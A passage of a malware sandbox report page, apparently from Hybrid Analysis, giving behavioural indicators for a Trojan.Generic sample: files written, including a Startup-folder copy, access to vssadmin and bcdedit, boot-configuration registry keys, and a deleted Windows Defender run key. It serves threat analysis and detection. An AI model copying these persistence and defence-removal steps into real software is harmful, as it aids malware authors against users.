256":"d01255e3e902b2948c4713ef7d8ac299c0f6e9b69534a8befa6f01a5854cb72b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]}],"files_written":[{"path":"%WINDIR%\\Fonts\\staticcache.dat","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%WINDIR%\\explorer.exe\\","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"path":"C:\\myapp.exe","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%WINDIR%\\system32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%WINDIR%\\explorer.exe","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"C:\\52b5d952","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"path":"%WINDIR%\\system32\\svchost.exe","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%WINDIR%\\system32\\vssadmin.exe","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"path":"%WINDIR%\\system32\\bcdedit.exe","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"path":"C:\\Users\\PSPUBWS","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"Nsi","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"path":"%WINDIR%\\system32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"\\Device\\Afd\\Endpoint","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"path":"\\Device\\RasAcd","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"path":"\\Device\\Afd\\AsyncConnectHlp","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"path":"\\Device\\NetBT_Tcpip6_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"path":"\\Device\\NetBT_Tcpip6_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"path":"\\Device\\NetBT_Tcpip6_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"path":"\\Device\\NetBT_Tcpip_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\pspubws@dropnwashlaundry[1].txt","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"path":"%WINDIR%\\system32\\en-US\\odbcint.dll.mui","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%WINDIR%\\system32\\en-US\\MFC42u.DLL.mui","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"C:\\5422d70e","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"C:\\5422d70e\\5422d70e.exe","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%APPDATA%\\5422d70e.exe","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\5422d70e.exe","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"C:\\internal_31572.scr.exe","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%WINDIR%\\System32\\vssadmin.exe","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%WINDIR%\\System32\\bcdedit.exe","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"path":"%WINDIR%\\System32\\en-US\\vssadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\LOCAL APPWIZARD-GENERATED APPLICATIONS\\","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"key":"HKCU\\SOFTWARE\\LOCAL APPWIZARD-GENERATED APPLICATIONS\\INTERNAL_31572.SCR\\","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"key":"HKCU\\SOFTWARE\\LOCAL APPWIZARD-GENERATED APPLICATIONS\\INTERNAL_31572.SCR\\RECENT FILE LIST\\","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"key":"HKCU\\SOFTWARE\\LOCAL APPWIZARD-GENERATED APPLICATIONS\\INTERNAL_31572.SCR\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"key":"HKLM\\BCD00000000\\OBJECTS\\{72D3F4C1-B53F-11E4-B6D9-9157CA704B30}\\ELEMENTS\\16000009\\","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"key":"HKLM\\BCD00000000\\OBJECTS\\{72D3F4C1-B53F-11E4-B6D9-9157CA704B30}\\ELEMENTS\\250000E0\\","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\WINDOWS DEFENDER\\WINDOWS DEFENDER","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]}]},"mutex_activity":{"mutex_created":null}},"report_ids":{"sandbox_job_ids":["5803dfe5aac2eda741cf48f3","561a745e0e316d8c08daed9d"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample bb2cbfe187ef… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample bb2cbfe187ef…. Malware family: Trojan.Generic. Threat score 100/100. 24/28 AV engines flagged this file. 13 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/bb2cbfe187efe5516dcdc42472079d25b2c7be462802df209aa6386269d5afc9"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample bb2cbfe187ef… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample bb2cbfe187ef…. Malware family: Trojan.Generic. Threat score 100/100. 24/28 AV engines flagged this file. 13 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/bb2cbfe187efe5516dcdc42472079d25b2c7be462802df209aa6386269d5afc9"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample bb2cbfe187ef… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample bb2cbfe187ef…. Malware family: Trojan.Generic. Threat score 100/100. 24/28 AV engines flagged this file. 13 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2c","11",{}]]